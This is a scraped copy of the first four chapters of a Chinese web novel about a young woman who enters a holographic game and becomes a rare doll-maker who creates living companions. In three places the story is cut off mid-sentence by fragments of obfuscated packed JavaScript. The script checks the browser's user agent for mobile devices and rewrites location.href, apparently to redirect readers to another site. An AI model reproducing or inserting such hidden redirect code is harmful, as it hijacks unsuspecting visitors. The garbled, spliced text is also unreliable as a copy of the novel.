《星际第一人偶师》 1. 第 1 章 【方羲女士，您好。此包裹内含帝国中央主脑向每位公民自动发放的全息设备，附赠黑天鹅X077型光脑和维持身体运行的营养液。】 【该全息设备内置特殊技术，可进入《异端的失乐园》。中央主脑检测到您尚未注册游戏账号，在此发出提醒，为了全人类未来的生死命运，进入游戏是每一个帝国公民的义务。请尽快注册您的游戏账号！】 方羲一脸懵逼地翻看着五分钟前送上门的快递文件。 文件上只有这么几段话，其语言风格不愧是来自高傲自大的帝国高层。 星历一千年后，全息技术已近完美。尤其是风靡全帝国的《失乐园》，已经成为人类生活的第二空间。据说它是唯一一个不对精神力设限的大众全息游戏，即使是等级最低等的公民，也拥有注册的资格。 但方羲没有分出丝毫注意力给价值昂贵的全息设备，而是忍不住摸了摸营养液晶莹剔透的瓶体。 方羲脸上露出几分没见过世面的震撼。 什么情况？ 没办法，方羲实在太穷了，为了省钱一般只买便宜又难喝的营养液。何况099号低等星压根不售卖这么高品质的营养液，这也是她第一次见。 方羲立刻神色郑重地把这十瓶营养液摆放整齐，看待它们的目光都带着某种过于怪异的珍重。 至于旁边的全息设备和光脑，方羲又仔细翻看了一下文件上的内容。 【此外，中央主脑曾经多次向您的个人账号发送官方邮件，采用了数道类型不一的加密信息锁，但无一例外地传递失败。鉴于这种特殊情况，主脑经过多次计算与权衡，决定破例使用造梦家的权柄，以非正常的形式将邮件信息传到您的手中。】 【星历2509年7月16日。】 扑通。 方羲忽然听见心脏剧烈跳动的声音，身体血液微微发热。 这个时间……现在明明是2515年7月31日。 像是死寂许久的生活，终于被撕裂出诡谲的一角。 方羲自动忽略心底的怪异感，随手把这份纸质文件丢在一边，开始捣鼓微型舱体，很快找到触发的方式，指尖轻轻点了点。 舱体渐渐扩大为正常大小，刚好占据空出来的区域。整体色调是淡淡的纯白，曲线带着流畅的科技美感。 方羲琢磨了一会，找到存放营养液的小仓口，一瓶高级营养液刚好是人体整整三天所需的能量。根据她浅薄的星网常识，总有人会在全息舱里待太久，所以需要备用营养液进行自动补充能量。 正好今天不用去打工，试着玩一会也行……方羲漫不经心地想着，反正过后她也说不定会把这个设备拆了卖掉。 应该能卖不少钱吧。 于是，方羲从自己家的储藏柜拿出一瓶廉价营养液，补进全息仓后，才不紧不慢地躺进舱体内部。 里面的床榻格外柔软，狭窄的空间似乎自带某种特殊的香气，让人的意志更加清醒了几分。 在半透明的入口自动关上后，方羲眼前出现了一个界面，上面慢慢浮现出一段文字。 【是否进入游戏？】 “是。” 【检测到您从未进行过全息游戏的精神链接，初次链接可能会产生幻觉、眩晕、剧烈头痛等不适反应。但如今的全息技术已相当完善，不会对人体产生真正的危害。】 【一旦彻底与该媒介建立联系，您也就无法脱离。是否进入游戏？】 界面再次弹出第二次的询问，方羲隐约透过屏幕窥见自己脸庞的轮廓，原先莫名其妙的兴奋感已经消退，神情变回惯常的漠然。 宽敞明亮的舱体也在渐渐变得灰暗，四周漂浮起一片微小的星辰碎屑，似乎在为某个变化提前做准备。 “是。”方羲再次回答，声音多了几分笃定。 界面瞬间破碎，发出一阵刺耳的声音。 视野瞬间坠入一片无序混沌的黑暗。 方羲在这一刻清晰地感知到，自己的□□与意识被某种巨大的力量拉扯，分割成两半。 她甚至看见了自己的身体被扯出一团纯白色的柔雾，灵魂意识顺着神秘的指引，穿过无数道来自时空的限制。 四周布满了抽象虚无的线条。 忽然，这些线条凝聚成一团乌黑扭曲的、难以用言语描述的团雾。 眨眼的瞬间，团雾在不断地扩大，扩大。宛如病毒一样一寸一寸地污染了整片空间，散发着庞大、充满粘稠的恶意。 团雾张开血盆大口，却似乎碍于某种限制，血口卡得不上不下的，甚至有一丝滑稽，微微颤抖着，最终不甘心地合上嘴巴，灰溜溜地消失在空气中。 方羲：“……嗯？？”莫非这是个恐怖游戏？进入前还要测试一下心理承受力吗？ 而此时，被方羲丢在一边的纸质文件悄悄折了一个角，整本文件活灵活现地立在桌面，白纸上的黑字无端构建出一对黑眼球，滴溜溜地转了一圈。 但它忽然间看到了什么，眼睛惊恐地颤抖着。 【危险！】 【这个人类怎么活下来的？】 爬满墙壁的食人藤蔓，藤条漫不经心地垂下，似有似无地朝入侵者靠近，渴望地盯着罕见的猎物。 被拆得七零八落的白骨，骷髅头极为艰难地为自己转了个方向，正好可以对着桌面上的纸质文件，发出嚯嚯的吱嘎笑声。 一片美丽的蝴蝶标本，忽然有一只金色彩蝶微微颤抖，从压册当中脱离，慢悠悠地飞到桌面上，散落下几点有毒的金粉。 【救命救命！】 【啊啊啊啊啊啊！】 附在纸张上的一缕灵魂忽然意识到，这群异端比起活生生躺在一边的人类，更想吃掉它！ 莫名其妙出现在纸上的一对眼睛，满怀惊恐，慢慢化作一小片黑雾，被吸入食人藤蔓的枝叶里。 食人藤蔓欢快地挥了挥枝条，张牙舞爪地向同类们炫耀，将那一缕灵魂吞噬得一干二净。 它吃饱喝足后，重新乖乖回到自己的位置休息了一会，又慢悠悠地伸出长长的翠绿色枝条，为神经大条的主人打扫家务。 凌乱的出租屋很快被收拾得一干二净。 它们与方羲在全息领域所见的庞然大物是同类。但被驯化得极为乖顺。 通俗的说，家养和野生的区别。 全息空间里的方羲微微抬眼，她隐约听到几道冰冷机械的声音，出现在她头顶上方。 一个全然站在第三视角，俯视她的东西。 它们似乎在交谈着什么。方羲非常努力地去倾听，但落入耳中的只有几个破碎的、连不成句子的字眼。 【哇…好厉害的新玩家，我要当她的专属系统！】 【普通玩家无法看到真实的桥梁，他们过高的钝感力尽管也算一种保持存活的优势，却无法在这条道路上走得更远。但灵感高的玩家，初入游戏的刹那更容易被异端捕捉，死亡率也更高。这名玩家的综合素质不错，通过了第一道关卡。】 【另外，013号主脑，在本届新晋赛中，你的分支已经承载了太多玩家，已经不具备引导新玩家的资格。】 【附议。013号系统的人格成分当中，存在“博爱”“善良”等在人类看来过于纤弱的属性，并不适合负责这位特殊玩家的新手指引。】 【QAQ哼……！！】 这段奇怪的对话没有持续太久，一片刺目的白光骤然闪过，方羲再睁开眼时，发现自己的身体恢复了正常，正踩在如有实地的星云之上。 在方羲几步远的前方，一团细碎星光缓缓汇聚成一个半透明的游戏面板。 【第12700000077名玩家，您好。】一道冷冰冰的机械音响起，【我是《失乐园》的19999号通用系统。检测到您的精神状态一切正常，接下来正式进入注册环节，我将会为您进行介绍与相关引导。】 与此同时，游戏面板上也飞速越过数个属性的名字，都是耳熟能详的基础属性，比如攻击、防御、敏捷、生命等。 【在玩家刚才穿越星空的时候，系统也在检测玩家各维度的属性，这些数值完全参照于您现实世界的身体素质。】 方羲敲了敲面前的游戏面板，但上面没有显示出任何关于她的游戏属性。 【部分涉及灵魂深层的特殊属性，目前正在检测当中，需要玩家正式通过新手副本，才会正式生成完整的属性面板。】 行吧。 【现在，玩家可进行面部调整，调整度必须高达70%以上。另外，为了保障玩家在游戏过程对自己身体的掌控度，体型一律不可更改。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739176|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【这将是在游戏庇护之下，异端眼中的“你。”】 原本冷冰冰的、呆板的机械音，在说最后一句话时，竟透露出几分人性感，似乎有无数道声音重叠在一起，对后来者做最真诚无比的告诫。 无数星辰微粒忽然靠近方羲，在她面前凝结出另外一个一模一样的身影。 方羲好奇地扯了扯另外一个自己的脸庞，没想到脸顺着她的拉扯，变得更加圆润，显得有些滑稽好笑。 哇！ 方羲感觉怪有意思的，开心地捏起脸来。 现实世界中的方羲，平时总是懒懒散散地披着黑色长发，五官天然带着一种锋利感，眉眼微微上挑。身体因常年的锻炼和工作，拥有流畅而富有美感的肌肉线条，整个人散发着“不好惹”的锐利气质。 时间再次过了半个小时，方羲对捏脸的兴致终于勉强降下来了，她想了想，最终还是选择了一张平平无奇的路人脸，相当符合自己低调不张扬的性格。 点击确定。 【您不将眼睛的特征更换一下吗？】游戏主脑似乎顿了顿，又说，【游戏媒介无法完全掩盖您身上的特殊气息。】 “什么？”方羲看了眼对面的自己，一双平平无奇的黑色眼睛，奇怪地问，“这不是挺正常的吗？” 主脑静默了两秒。 在游戏主脑的全局视角下，黑发女性分明失去了正常的、原属于人类的左眼，与之替代的是一只雕刻着十字架的暗金色眼眸，透着奇异又美丽的光泽。 主脑只好替方羲调整了一下眼睛的参数。 【形象已确认。】 【请写下您的游戏昵称：_____】 方羲环视一圈四周的星空，发现某片星云勉强构建成一只鸟的图案，想了想，随手填下“白乌鸦”三个字。 【基础信息已确定，游戏职业判定中……请玩家耐心等待。】 等待的时间实在有点漫长，游戏主脑贴心地为方羲放出一些基础的游戏科普。 尽管在绝大多数帝国公民眼里，这些东西早就背到滚瓜烂熟，但方羲的认知却和常人不太一样，反倒觉得怪新奇的。 《失乐园》中，职业系统总共有三大类：为捕猎异端而生的【猎人】，牵制领域与寻找根系的【造梦家】。而【傀儡师】的职能最为关键，他们能够制造出超越人类极限的特殊工具，是对抗异端最必不可少的存在。 单轮稀有度来说，猎人最为大众，而傀儡师最罕见珍贵。但无论哪一种职业，都有实力顶尖的玩家。 照这么说，怎么看她都像一个猎人！方羲理所当然地想。 毕竟她很能打。 以前年纪还小的时候，不管是在孤儿院上班的护理员，隔壁便利店的店长，小学教书的老师，又或者游手好闲没事干的小混混，都通通不待见她！甚至时不时偷偷尾随，深更半夜追着她打！ 虽然一开始，他们只是用一种谨慎的目光在暗中观察，隐晦的杀意与恐惧混杂在一起。过了一段时间，终于确定了什么似的，眼神充满不屑，决定对身体还没发育完全的方羲下死手。 明明她只是一个无辜的人类小孩罢了！ 而且，这些身体健康、高壮的成年人类，明明比她也没高多少。但有时候，方羲远远地看过去，就会有一种抬头仰望巨物的怪异感。 还有……扑面而来，怎么也掩饰不了的恶意。 当然在最后，他们总是会落到方羲的手掌心，像是一条条被钓上的、怎么扑通也跳不出水桶的鱼，被她用一把开刃的匕首刺入心脏，每一条都死得很快。 尽管力气还不够大、技巧还不够娴熟，方羲却本能地知道怎样规避自身的弱点，用最干净利落的方式，一击致命。 听上去似乎有点刽子手的恶劣习性，但方羲将匕首刺入偷袭者腹部的时候，觉得自己只是在杀死一个会说人类语言的肉块而已。 可能因为这是人渣吧。人渣能称之为人类吗？所以她才会产生这种怪异的感觉。 总之，方羲是这么想的。 滋啦—— 浩瀚无垠的世界中，忽然参杂了一丝怪异而错乱的电流乱响，但很快归于平静。 【玩家天赋职业已解锁，即将进入新手专属副本。】 【您的天赋职业为：人偶师。】 2. 第 2 章 方羲还没来得及思考自己的职业似乎在三大类之外，就骤然感受到一阵剧烈的失重感。 风声在耳边呼啸而过，伴随着一声轻微的呢喃。再睁开眼睛时，方羲发现自己身处一个原始而壮丽的世界。 她站在一处长满青叶野花的阶梯上，顺着摇摇欲坠的木梯通往一个巨大的废墟残骸，开裂的灰白色圆柱与缠绕柱身的翠绿藤蔓，四周一片绿意怏然，丛林发出悉悉索索的声响。 方羲眼尖地瞥见丛林里有很多的原始生物，蝴蝶、白鸟、青蛇……这些都是她所熟悉的。 但天性敏锐的小动物们，似乎并不在意这个突如其来的人类，反而投来好奇大胆的目光。 饶是落后的低等星，也遍地是钢铁水泥，冷冰冰的灰蓝和纯黑交织。更不像帝国中央区域那样有条件建造大型净化装置，天空经常是污浊一片，导致永夜日出现的频率格外高。 因此方羲看着面前的景象愣了好几秒。 从这片壮丽美景抽离出来的时候，方羲后知后觉意识到，自己的视野似乎发生了某种奇怪的变化。 比如她已经走到了废墟的入口，里面有一大片鲜艳欲滴的野生玫瑰。 【一片由鲜血灌溉而生的玫瑰】 四周漂浮着的星辰微粒。 【揉碎的星星。】 躲在角落暗中观察她的布料。 【一片活泼的精灵布料。它好像很喜欢你。】 方羲眨了眨眼，这些文字会随着她的注视时间慢慢显现，透明的立体字，需要分出一点专注力去辨别。 这是游戏机制的一部分吗？ “话说回来，这个新手副本的通关条件是什么？”方羲自言自语道。 随着方羲的提问，游戏系统终于姗姗来迟地出现。 方羲面前淡出半透明的游戏面板，另一种质感的机械音也同时响起。 【初代0000版《失乐园》游戏系统已启用。】 【白乌鸦，您好。您可以称呼我为欧律狄刻，在接下来的游戏旅程当中，我将作为您的专属游戏系统，及时为你解答游戏问题，也会为您辅助解决部分副本难题。】 这个游戏智脑似乎跟刚刚那个不太一样？方羲心想，但也没有在这种细节上过多纠结。 【人偶师能够创造出代替本身进入■■■■的特殊生命。】 【请收集材料，制作出您的第一只人偶。】 【请注意，您需要成功制作出人偶，才能够真正意义上踏入失乐园的大地，这是我们通往最终之路必经的考验。】 方羲有些疑惑，在刚才她翻阅新手科普的时候，没有任何一个字眼和“人偶师”相关。 这难道是什么隐藏职业？ “傀儡师和人偶师是一个意思吗？”方羲问。 【傀儡师制造出的产物，我们称之为工具或武器。而人偶师能够创造真实的生命。】 智脑说完这几句话后，似乎就直接消失了。哪怕方羲试探性朝着空气表达疑惑，也没声音回应她。 方羲就此作罢，重现将目光放在眼前的游戏面板上，上面只在左上角显示着她的游戏ID，和边栏的背包选择。 看来只有通过新手副本，才有可能解锁个人信息和其他功能。 方羲先是点开背包，发现里面居然自带两个物品。 【人偶师新手指南】 来源：玩家自制 等级：零级 耐久度：永久 简介：为懵懂无知的新任人偶师，提供全方位的贴心指导～ 【人偶师作品图录】 来源：游戏主脑自动收录 等级：五级 耐久度：永久 简介：根据人偶本身的属性、对异端造成的伤害类型、众玩家对相关人偶的评价等，进行实时收录，包括但不限于人偶的名字、具体数值、习□□好、行动轨迹等。由于其物品的特殊性，仅限人偶师可查看。 方羲先是点开【人偶师作品图录】，但面板却弹出“权限不足，游戏抵达五级时可解锁该物品”的提示。 第二个物品确实看上去比第一个特殊许多，方羲也没强求，转而点开另外一个物品。 一秒后，她手中忽然出现了一本平平无奇的书，称它为书或许也有点高抬了，毕竟外表看上去也只是一本薄薄的笔记本…… 但方羲依旧本着郑重的心理，煞有其事地打开了第一页。 上面以潦草丑陋的字写着。 【第一步：收集材料。材料不拘泥任何怪诞的形式。】 【第二步：捏造生命。】 方羲继续往后翻，后面似乎也没有更多内容了。但其中有一页倒是留着一段吐槽：怎会如此！我已经努力让它的制作材料往家务型的方向靠了，结果出来的居然是一个强攻型人偶！谁能救救我宛如垃圾的制作间…… “…………”方羲一脸冷漠地合上了笔记本。 但是方羲脸上又露出几分兴致，她再次自言自语道：“全息设备还是暂时不拆了吧。” 因为人偶师的概念的确很符合方羲的口味。 方羲是个手工爱好者，平时会收集各种在她看来很有趣的材料，将它们做成精美的手工制品。 然后盯着它们发呆。 因为这些都是死物，最初制造各种玩具不过是出于某种自我欺骗的心理。 她将不动的死物视作只是在沉睡着的朋友。 没办法，方羲从小到大拥有一种古怪的体质，很多人看自己的眼神都非常怪异，带着某种难以言喻的恐惧，仿佛她是怪物一样。 另一部分人则是带着隐晦的杀意，但在最近两年里，这种人倒是越来越少。 这也就导致方羲是全孤儿院唯一一个从十岁待到十八岁的大龄孤儿，只有孤儿院院长能和她保持正常交流。 至于成年离开孤儿院之后，打工不超三个月总会被莫名其妙的理由辞掉，花费了好大一番劲才找到一间愿意租给她的屋子，光脑除了同事和院长没有任何好友存在……这已经是方羲生活的常态了。 方羲随手捡起一朵破败无刺的红玫瑰。 【一朵由鲜血灌溉而生的玫瑰】 【危险度：极低。】 【是否放入背包？】 方羲的视野内再次浮现出相对应的文字，她果断选择了是。 【采集成功，玩家可打开背包进行查看。】 方羲摘了十几朵放入背包，踩过柔软的草坪，往废墟的更深处探索。 她感觉自己身后似乎有个东西一直在跟踪自己，微微偏头瞥了一眼，发现是一块长着一双豆豆眼的美丽布料。 方羲沉思两秒，故意停下脚步，详装观察四周，还顺手捡起地面上锋利的一柄枯木。 单细胞的布料呆呆傻傻的，似乎毫无防备，还在不断悄悄接近方羲。 ——直到枯木的尖端骤然指着它。 “咿呀——”布料瞬间发出一声刺耳的尖叫，薄薄的“身体”波浪式颤抖，豆豆眼相当委屈地看着方羲。 方羲微微眯起眼睛，这一刻她看见了更多的文字。 【曾经只是一块普通的布料，安安静静地躺在废墟的一角，与世无争。但不幸的是，身边偶然爆发了一场战争，染上了精灵的血迹，于是借此萌发了自我意识。】 【愿望是能够被裁剪为美丽的裙子。】 【性格温驯可爱，但遇见粗糙敷衍的制作者，会愤怒地把他切成血块。】 【危险度：中。】 方羲陷入沉默，盯着布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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强烈的非人感，但这样最好不过。方羲冷静地想，站在原地打量着巨树上的每一只眼球。 生长在中下层的眼球，不仅长得比较丑陋，颜色难看，甚至明晃晃传递出粘稠的贪欲。 而越往高处的眼球，似乎也逐级脱离了生物的底层欲望，显露出不同的个性，但看待方羲的眼神里或多或少参杂一丝居高临下的审视。 方羲正在观察的时候，面前忽然出现来自空宝箱的文字提醒：【不要去前面。】 【这是一株攫取了太多灵魂的活树。只有在掌控范围之内的残肢，才能作为创造的材料。好在这颗树扎根于废墟最深处，无法移动，只要不去触碰它，就不会有任何危险。】 【你处于新手期，大可以在等级提升之后才回来挑战。】 方羲慢慢将视线放在位于最树顶的一对兽瞳，干净澄澈的纯金色，冷冰冰地睁着，仿佛不具备一丝生命力，外表和其他同胞相比，显得格外正常。 但偏偏就是“正常”位于“不正常”之上。 “找到了，这就是最合适的。”方羲微笑道。 这是她想要的。 所以不惜一切代价也要得到。 【一双金色的兽类眼球。】 【它是天生的狩猎者，诞生之初便攫取了母树最大的养分，也吃掉了威胁度最大的同胞，常年占据着巨树顶端的位置。】 【碍于没有身体的劣势，它已经看腻了同胞们自相残杀的戏码，四面逐渐腐朽的墙壁，和无知无畏的挑战者。】 【它感到很无聊，希望能找到新的乐趣。】 【现在，“金色眼球”注意到了你。】 3. 第 3 章 【新手辅助战斗模式已开启。】 【这是很少见的情况，在人偶师新手副本中，往往不会像猎人新手副本那样简单粗暴。但想要成为一名优秀的人偶师，出色的战斗素质也必不可少。】 【目前可用武器：废弃的长枪、废弃的弓。】 方羲心念一动，闲置在游戏背包的【废弃的长枪】立刻出现在她手里。 她掂量了下长枪的重量，比想象中要轻一点，但枪尖磨损得很严重，攻击起来估计不太方便。 但是暂时凑合用吧。 方羲环视了一圈观察地形，然后才靠近墙壁，中央处有一个圆形石块按钮。她抬手往下压，整片厚实的墙壁也同步给出回应，向左右两边收起。 投向她的视线一时间变得更加灼热、不可忽视。 方羲握紧长枪，身体呈战斗姿态，快速锁定目标——一个从巨树主动掉落、正朝她袭来的眼球。 枪身抬起，挡住以惊人速度撞击而来的眼球，方羲顺势将尖刃方向一转，直接刺向留着黏液的眼球。 外壳特别坚硬。石头？还是某种更坚硬的机械手感？ 在长枪触及眼球的那一瞬，方羲心底快速闪过这个念头，感受到一阵轻微的退意，像是一种来自外界强加的畏惧感。 方羲神情很淡，思绪因为怪异的感觉一时间有些游离。但手下的力道不减半分，精确地刺下去。 一枪直接崩碎了眼球。 细小的碎肉沾上了尖刃，方羲轻轻一甩，地面染上点点污垢。碎肉挣扎似的蠕动了几下，最终还是沦为死物。 不断晃动的枝干忽然停顿了两秒。 方羲微微眯起眼睛，游离的思绪再次回归。 怎么样才能达到胜利的界限呢？要杀掉多少个眼球？ 巨树的枝条开始无限度一般地伸长，穿破废墟的限制，生长出无数只新的眼球，久违地穿破废墟的限制。 然后它抖了抖整个树身，像是人类中优雅的绅士一样，微微向前弯腰，向来者致意。 大地向下坠落。 成千上万只眼球宛如狂风骤雨，一层一层堆满了最底层的地面。又疯狂地朝某个位置蠕动，瞳孔闪烁着不死不休的欲望。 方羲耳边模糊地闪过几声机械电音，但她的注意力已经完全被巨树的攻击吸引，懒得分出多余辩识力在游戏系统上。 她依旧持着长枪，踩在质感怪异的“地毯”上，当空横扫，利落地击溃了一大批朝着她正面来的眼球。 方羲怀疑这把【废弃的长枪】可能附带了一些特殊属性，至少她用得比想象中顺手。 枪尖开始冒出点点黑色的火焰，哪怕靠近它半分，也会凭空被烧成灰烬。 方羲的动作却无丝毫停滞，仍旧行云流水。 但是这样有点慢。方羲边想边打，分出心思扫了一眼背包的道具信息。 【一把废弃的弓】 来源：玩家自制 等级：零级 耐久度：5/100[即将破损] 属性：攻击[3000]防御[1177] 特殊属性：反向侵蚀、建立锚点 简介：作为一把遗落在废墟深处的弓箭，它曾经创下了无数伟业。碍于数据的流失，我们已经找不到它最初始的使用者，其属性也大幅度下降。但幸运的是，它的核心功能没有消失。如果有人愿意执起长弓，想必它很愿意射出最后辉煌的一箭。【前提是使用者能够承受住它所造成的反噬】 巨树掉落的眼球越来越多，仿佛要将这个渺小的人类吞没。 方羲抬眼向高处望去，位于巨树顶端的金色眼球一动不动地凝望着她，瞳孔的颜色像是流动的沙漠，泛着幽冷的光芒。 凡是异端之物，总会存在致命的弱点。 杀掉它就好了。 方羲再次举起长枪，用巨大的力道横扫一圈，四周瞬间迸裂出无数肮脏血腥的肉沫，燃起一大片灼热的黑焰。 眼球们碍于这团焚烧一切的黑焰，向前蠕动的动作不得不停下，满怀恨意地盯着方羲。 趁着四周空白的间隙，方羲果断将长枪丢在一边，举起与她体型不太相符的长弓。 她极快地眨了眨眼，暗金色的左眼竟在此刻鲜活起来，光泽愈发深邃美丽。 眼前的景象像是翻了个镜面一样，发生了翻天覆地的变化。 看到了。 方羲将弓箭对准一条极细短的树根，三指勾弦，如浓雾般的金箭随之凝聚。 弓箭一触即发。 金色眼球的瞳孔在这一瞬间缩成针孔状，满眼惊惧。 方羲神情平静地松手，放箭。 四面的废墟开始崩塌。 黑压压的眼球如潮水般朝她压去。 手中的弓箭随着最后一击，便化作黑色颗粒消散在空气中。方羲再次提起长枪，一路借力打力，寻找空隙，从这场巨大的灾难逃出。 直到远离了废墟深处，方羲找了个视野绝佳的高台眺望，看着巨树一点一点地枯萎，包括掉落的眼球也全部失去了鲜活的生命力，变回普通的东西。 就是她一开始看中的金色眼球不知道滚到哪里去了。方羲有些苦恼。 直到现在，方羲才想起刚才似乎有什么系统提示？ 打开面板。 【您已触发里副本“永不覆灭的巨树之心。”检测到玩家的游戏等级过低，强烈建议立刻退出副本范围！】 【巨树向您发起了致命攻击。】 【温馨提示：在失乐园中，玩家理论上拥有无限复活的机会，但存在一定程度的负面效果，其轻重程度与玩家本身的实力相关。】 【强烈建议玩家立刻退出副本！】 …… 【锚点开始建立。】 【锚点建立成功。】 【现实参照坐标：帝国中央区域E003星四十七区。】 一连串系统提示砸得方羲有些措不及防，她迷茫地看完。 “咕隆咕隆——”一个柔软的东西忽然轻轻撞上方羲的脚边，她低头一看，是那双金色兽瞳。 它眼中本就不多的情感似乎随着巨树的死亡，也被彻底扼杀，安安静静地躺在地上，眼底没有一丝一毫的生命力。 方羲看见原本浮在眼球上方的文字，一点点开裂、破碎，最后消失，然后弹出新的提示。 【净化度：100】 【是否放入背包？】 “是。” 【核心材料采摘成功！】 【您的寻找方式似乎有些莽撞，也并没在意到遗落在各个角落的线索提示。但您似乎顺从着灵感冥冥之中的指引，毫发无损地进入高危区域，并发现了纯净度相当之高的核心材料。总而言之，我非常庆幸您在这场挑战中获取了胜利。您的行为和能力都超乎了智脑的预测，的确符合人偶师最原始的天赋。】 【现在，您可以选择进入个人空间，或在现场开启特殊状态，开始制作人偶。】 游戏面板上解锁了新的功能，方羲立刻点击进入。 四周一片混沌，仿佛宇宙最原始、未分化的模样。方羲面前浮现出【查看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739178|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背包】【指南攻略】【开始制作】三个选项。 先前捡的材料信息她看过了，初入游戏也没有查攻略的想法，否则就失去了探索的乐趣，所以方羲直接点击开始。 第一步需要选择材料。方羲取出【百年原木】【上帝的雕刻刀】【金色兽瞳】。 刚拿起雕刻刀，个人空间格外贴心地生成一张桌子一张椅子。方羲眼神略震惊地看一眼，然后开开心心地坐下，开始慢慢雕刻木头。 方羲很快发现，游戏中的制作不像现实世界需要注意每一个细节，相当符合“游戏”的概念，甚至更容易进入心流状态，规避了一切现实中可能出现的误差和琐事。 但随着时间的拉长，她感到身体某些东西在不断来回拉扯，有一股无形的力量在试图抽离她的某样东西。 方羲打算【百年原木】雕刻成一只金虎的模样。 最后一刀落下。 方羲又简单修了一下整体的细节，用颜料涂上黑斑，然后将那双纯金色的兽瞳按上凹处。几乎不需要她怎么精细地操作，兽瞳便自动调整自身的大小，嵌入眼眶。 剧烈的疼痛骤然袭来。 手中的金虎瞬间掉落在地，却无摔落的声响，而是轻微的点地声，像是有什么生命活过来了。 胸口慢慢飘出一缕纯白的柔雾，方羲神情略有痛苦地皱了皱眉头。她感觉自己内心深处的某样情感被抽离了出去，剩下一片空荡荡的茫然感。 但很快，这种茫然感又消失了。 方羲已经从突如其来的痛苦中恢复了冷静，思绪清明，隐隐约约明白了什么。 交付出一定的精神力，作为代价的砝码，才能制作出所谓的新生命。 但事实上，星际人类的精神力在消耗之后，休息一段时间便会恢复如初。只有超过个人精神力极限的使用情况，才会造成一定的损耗。 但是方羲明显地感觉到，刚才流失的精神力不会再回来了，甚至隐隐约约弱化了她某段记忆的情感。 这种消耗和正常的精神力完全不同。 但是问题不大，或许是第一次的创造，她只被割了小小一截的精神力。方羲漫不经心地想。 一团柔软的东西忽然蹭了蹭方羲的腿，她困惑地低头一看。 一只可可爱爱的橘色幼猫，懵懵懂懂地看着创造它的主人，眼神干净而纯粹。 扫了一圈四周的地面，刚才辛辛苦苦雕刻的金虎木头已经消失不见了。 “？？？” 方羲裂开了。 方羲陷入沉默。 她闭了闭眼，努力掩盖自己因为可爱生物而快乐的内心，不太想接受这个残酷的事实。 可爱是可爱……但是她预想中的老虎幼崽呢？ “喵喵！！！”小橘猫敏锐地察觉到主人忽然低落的心情，更加急切地叫了几声，在她腿边紧张地转圈圈，尾巴轻轻摩挲过衣物。 见方羲一直没什么回应，小橘猫跳上了桌子，努力地往方羲怀里靠，金色兽瞳里闪烁着委屈的光芒。 ——理理我QAQ 方羲忍不住揉了揉小橘猫，回应她的是一声声奶声奶气的猫叫。 好温暖，而不是冰冷坚硬的死物。方羲愣了几秒。 这是真实的生命。 由她亲手割裂灵魂的一部分，所创造出来的生命。 “我知道了。”方羲将小橘猫抱在怀里，轻声道，“那么，以后你就是我的同伴了。” “喵！” 我是你的人偶。 橘猫摇了摇尾巴，无声地说。 4. 第 4 章 【人偶制作成功！】 【人偶师专属副本：已通关。】 【奖励已发放，请玩家查收！】 【人偶师新手指南x1，人偶师作品图录x1，废弃的长枪x1，新手礼包x1】 【材料若干：来自巨树掉落的眼球x16，由鲜血灌溉而生的玫瑰x20，精灵布料x1，万物生长的种子x1，泥土剪刀x1，上帝的雕刻刀x1，九百九十九色的天然颜料x1】 【经验值+100】 【您的游戏等级目前为一级。游戏面板已解锁属于正式玩家的全部功能，将在离开新手副本后启用。】 【你可以随时回到该副本领域，进行材料采集或副本探索。】 【是否离开副本？】 一道道讯息接连不断响起。 方羲眼睛微微眯了一下，思索了一会，果断选择了【是】 随着选项落定，方羲看见四周化作无数晦涩难懂的数据符号，其中又参杂着浩瀚的星辰碎屑，仿佛理性与感性的盛大交织。 世界在消散。 方羲抱紧橘猫，免得它因为突如其来的变化和自己分开。 但这次的转移却没有太多感觉，眨眼的瞬间，她们就来到了一个全新的场景。 不过在落地之后，方羲发现橘猫消失了，似乎暂时潜入了她的灵魂深处，缩成一团，昏昏欲睡的样子。 【由于您初入游戏，为了保证玩家职业的隐私性，游戏主脑第一次、也是最后一次未经允许将您的人偶暂时隐藏。之后是否让人偶在非副本的游戏区域活动，一切选择全在于您。】 欧律狄刻的机械音响在她的耳边。 方羲瞬间了然，人偶师似乎是一个相当稀有的职业，可能出于某种特殊的原因，暂时从游戏的主流职业中泯灭了。 低调一些倒也不是坏事。 相比于新手副本的原始美丽，这里更符合帝国人的审美风格。方羲环视一圈四周，充满科技感的高楼大厦，巨大的广告屏幕。天空极其纯净，毫无阴霾，尽管蔚蓝得有几分虚假。 但这里简直就是传闻中——只有帝国的高等星球才会拥有的繁华。 而且来往的玩家也相当多，方羲发现有很多人的初始服装和自己一样，脸上带着好奇之意，想必也是刚从新副本出来的玩家。 人群中偶尔会混杂着几个装扮明显不同，气质和神态也更加成熟稳重的老玩家，似乎在与其他新手交流和带路。 方羲收回观察的视线，在附近找了张路椅坐下，打开游戏面板。 “其他玩家可以看见我的游戏面板吗？”方羲忽然问。 